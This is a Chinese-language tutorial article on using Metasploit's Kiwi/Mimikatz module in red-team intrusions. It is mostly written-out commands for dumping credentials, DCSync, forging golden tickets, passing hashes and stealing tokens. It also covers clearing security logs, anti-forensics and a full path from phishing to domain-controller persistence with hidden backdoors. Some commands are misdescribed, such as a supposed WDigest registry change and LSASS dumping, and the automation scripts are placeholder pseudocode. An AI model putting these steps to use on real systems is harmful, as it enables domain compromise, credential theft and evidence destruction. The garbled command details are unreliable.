Metasploit中的Kiwi模块实战:用Mimikatz功能进行内网渗透测试

张开发
2026/5/5 11:18:01 15 分钟阅读
Metasploit中的Kiwi模块实战:用Mimikatz功能进行内网渗透测试
Metasploit中的Kiwi模块实战用Mimikatz功能进行内网渗透测试在红队攻防演练中内网横向移动往往是最具挑战性的环节。当渗透测试人员通过边界突破进入内网后如何快速收集凭据、提升权限并扩大战果直接决定了整个渗透测试的成败。本文将深入探讨Metasploit框架中Kiwi模块的高级应用展示如何利用其内置的Mimikatz功能进行高效内网渗透。1. Kiwi模块基础与加载Kiwi是Metasploit框架中一个功能强大的扩展模块它集成了Mimikatz的核心功能可以直接在内存中执行凭证提取操作避免了文件落地的风险。与独立版Mimikatz相比Kiwi模块具有更好的隐蔽性和集成度。加载Kiwi模块的前提条件已获得目标系统的Meterpreter会话当前会话具有管理员权限推荐SYSTEM权限目标系统架构匹配特别注意32位/64位兼容性问题加载Kiwi模块的基本命令流程如下# 在Meterpreter会话中加载kiwi模块 load kiwi # 查看模块帮助信息 help kiwi注意如果目标系统是64位需要先将进程迁移到64位程序如explorer.exe中否则可能无法获取完整信息。迁移命令migrate -N explorer.exe2. 凭证提取实战技巧2.1 基础凭证提取命令Kiwi模块提供了多个预置命令来提取不同类型的凭证# 提取所有可用凭证包括明文密码、哈希等 creds_all # 提取MSV凭证NTLM哈希 creds_msv # 提取WDigest凭证可能包含明文密码 creds_wdigest # 提取Kerberos票据 creds_kerberos在Windows 8.1/Server 2012及以上系统中由于默认禁用WDigest缓存可能无法直接获取明文密码。此时可以尝试以下注册表修改# 通过Kiwi执行Mimikatz命令启用WDigest缓存 kiwi_cmd sekurlsa::wdigest privilege::debug2.2 高级凭证提取技术对于启用了LSA保护的系统常规方法可能失效。此时可以采用以下技术技术一DCSync攻击# 模拟域控制器同步获取域用户哈希需要域管理员权限 dcsync_ntlm DOMAIN用户名技术二黄金票据生成# 获取必要的域信息后生成黄金票据 golden_ticket_create -d 域名 -k krbtgt的NTLM哈希 -u 用户名 -s 用户SID -t 保存路径技术三LSASS内存转储分析# 使用Kiwi转储LSASS进程内存 kiwi_cmd sekurlsa::minidump lsass.dmp # 分析转储文件 kiwi_cmd sekurlsa::logonpasswords full3. 横向移动技术集成获取凭证后如何有效利用这些信息进行内网横向移动是关键。以下是几种常见场景的解决方案3.1 哈希传递攻击PTH攻击类型适用场景所需条件命令示例NTLM哈希传递工作组环境目标共享/NTLM认证服务use exploit/windows/smb/psexecKerberos票据传递域环境有效的Kerberos票据kiwi_cmd kerberos::ptt ticket.kirbi3.2 会话注入与令牌窃取# 列出可用令牌 kiwi_cmd token::list # 窃取特定令牌 kiwi_cmd token::elevate /id:令牌ID3.3 自动化横向移动框架将Kiwi与Metasploit的自动化脚本结合可以构建强大的横向移动工作流# 示例自动化脚本框架 def lateral_movement(session) load_kiwi(session) creds get_creds(session) creds.each do |cred| next unless can_reuse?(cred) try_psexec(cred) try_winrm(cred) try_smb(cred) end end4. 防御规避与隐蔽技术在实际渗透测试中避免触发安全告警同样重要。以下是几种有效的隐蔽技术4.1 内存操作规避避免直接LSASS注入使用kiwi_cmd而非原生Mimikatz可执行文件间接内存读取通过procdump等工具先转储内存再分析定时任务伪装将操作分散在不同时间段执行4.2 日志清理技术# 清除安全日志需要SYSTEM权限 kiwi_cmd event::clear /log:security # 清除特定事件ID kiwi_cmd event::drop /id:46244.3 反取证技巧内存中执行所有操作保持在内存中不写入磁盘时间混淆修改操作时间戳流量伪装将通信隐藏在正常协议中5. 实战案例从外网到域控的完整路径让我们通过一个模拟案例展示Kiwi模块在实际渗透中的应用初始立足点通过钓鱼攻击获取用户工作站访问权限权限提升利用本地漏洞提权至SYSTEM凭证收集load kiwi creds_all dcsync_ntlm域管理员横向移动use exploit/windows/smb/psexec set RHOSTS 域控IP set SMBUser 域管理员 set SMBPass 获取的哈希 exploit持久化在域控上创建黄金票据和隐藏后门6. 工具链整合与效率提升Kiwi模块可以与其他Metasploit模块和外部工具无缝集成构建自动化工作流推荐工具组合Cobalt Strike用于命令控制和团队协作Impacket用于各种协议攻击BloodHound用于分析域内关系自动化脚本示例def auto_kiwi(session): if not is_admin(session): try_privesc(session) load_kiwi(session) harvest_creds(session) if is_domain_env(session): run_dcsync(session) create_golden_ticket(session) start_lateral_movement(session)在实际渗透测试项目中Kiwi模块已经成为内网横向移动的利器。掌握其高级用法不仅能提高效率还能在复杂环境中保持操作的隐蔽性。

更多文章